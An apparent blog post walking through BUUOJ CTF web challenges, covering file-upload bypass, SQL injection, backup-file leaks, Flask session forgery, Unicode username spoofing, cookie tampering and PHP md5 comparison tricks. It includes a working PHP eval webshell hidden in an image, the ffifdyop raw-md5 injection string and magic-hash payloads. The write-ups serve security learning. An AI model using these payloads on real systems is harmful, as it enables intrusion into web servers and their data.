2021-06-18 CTF Webbuuoj day14

本文详细介绍了多个CTF挑战的解题过程,包括极客大挑战的Upload(利用图片马绕过过滤)和BabySQL(SQL注入),ACTF新生赛的BackupFile(信息泄露),HCTF的admin(Flask session伪造),以及BuyFlag和Easy MD5(涉及PHP函数的漏洞利用)。每个挑战都涵盖了不同的安全知识点和技术利用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[极客大挑战 2019]Upload

类型

文件上传

解题

第一种方法,通过做图片马:

  1. burp打开页面,title=上传头像:
    上传头像
  2. 上传一个图片吧,1.png,提交后提示Not image!看来这个图片格式不行
    png
  3. 上传另一个格式的1.jpg,提交后提示NO! HACKER! your file included ‘<?’,看来这个图片有<?被检测到,Editor010打开图片找到<?去掉后上传成功
    <?检测
    上传图片成功
  4. 尝试通过url/uploads/1.jpg、url/upload/1.jpg访问,可以看到刚刚上传的图片1.jpg
    查看
  5. 接下来做图片马,通过1.jpg上传知道过滤<?,所以一句话木马要绕过这个检测:
<script language="php">@eval($_POST[666])</script>

把这个一句话放到2.php里,然后通过命令合成:

copy 1.jpg/b+2.php/a 999.jpg

做图片马
图片马文件夹
6. 打开burp抓包功能,上传999.jpg,被burp抓包后,修改文件名后缀phtml,Accept:application/xhtml+xml。
上传图片马
修改后缀phtml

如果修改成php,会提示NOT!php!
修改后缀为php
7. 蚁剑添加数据url/upload/999.phtml,密码666,测试连接成功。
蚁剑

连接后文件管理,根目录列表下找到flag:flag{c9c74b1e-4604-4700-84bf-e8609c56cdfa}。
flag

[极客大挑战 2019]BabySQL

类型

SQL注入

解题

双字注入,过滤了or,and,from,select,union…
流程步骤
SQL注入

[ACTF2020 新生赛]BackupFile

类型

信息泄露

解题

跑dirsearch和御剑都跑不出来,返回429,访问量过多。
找到备份经常用的后缀名.rar.zip.7z.tar.gz.bak.swp.txt.html,访问index.php.bak下载源代码,简单判断key==str。
这里注意key是数字,str是字符串,而当数字和字符串比较时,当字符串中 以 数字开头 +字符串+数字或字符(字符串)+… 格式与数字进行 == 判断时,会取第一次出现字符(字符串)前的数字作为转换值。因此payload为/index.php?key=123

[HCTF 2018]admin

类型

解题

这题实际上就是试了一下admin/123就登陆成功并拿到flag
但是WP的思路也得学一下:
flask session伪造:
利用修改密码页面源代码泄露得知是flask框架
源码泄露
flask框架session存储在本地且从config.py里看到加密密钥
secret_key
利用工具就可以decode,修改name,再encode,可以伪造成admin登录。
decode
还有一种方法unicode欺骗,routes.py中定义strlower函数,传入username。
node
username经过nodegrep.prepare可以转换为小写,register()、login()、change()都调用了strlower,注册使用ᴬᴰᴹᴵᴺ,登录后可以看到变成了ADMIN,再修改ADMIN密码,将导致修改的是admin密码,最后用修改后密码登录就可以看到flag~
admin
字母来源

[极客大挑战 2019]BuyFlag

类型

解题

打开页面访问pay.php
pay.flag
查看页面源代码,发现一段注释
注释
其中post money and password,说明把请求改为POST方式,然后加上两个参数money和password,还有发现请求中出现一个Cookie:user=0,这里是提示“Only Cuit’s students can buy the FLAG”,因此user对应的应该是标识cuiter的值
user
user
按这个0-9爆破user这个参数,发现当user=1时,返回内容变化,please input your password!!

user=1
按之前的分析修改请求方式为POST,body parameter加上password=404abc,这里不能直接加404,会被if判断全是数字的。
password=404abc
password=404
还有注意要加上Content-Type: application/x-www-form-urlencoded,否则参数POST不上去。
加上money上传,提示数字太长
money=100000000
看了WP知道用科学计数法,当输入1e9及以上即1e10、1e11都可以返回flag,否则返回钱数不足
money=1e9以上
money=1e8

[BJDCTF2020]Easy MD5

类型

php代码审计-内置函数的参数的松散性

解题

PHP 手册中的 md5()函数的描述是md5(string $string, bool $binary = false): string,md5() 中的需要是一个 string 类型的参数。但是当你传递一个 array 时,md5()会无法正确地求出 array 的 md5 值,这样就会导致任意 2 个 array 的 md5 值都会相等。

  1. 题目抓包看到提示
    hint
    这里是利用md5(‘ffifdyop’, true)可以得到’ or '6xxxxx的一个恒正表达式把hint的sql闭合
    ffifdyop
    输入ffifdyop后打开一个新页面,查看源码发现注释php语句
    levels91.php
    当两个变量a和b变量不等,但md5()后hash相等时为真:
    md5()

可以利用魔法hash即0e/d+或者两个array变量md5()值==判断为真
魔法hash
再次来到一个页面,提示提交两个参数,md5()后===比较
===
===比较时array方式可以为真,返回flag
array
魔法hash

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值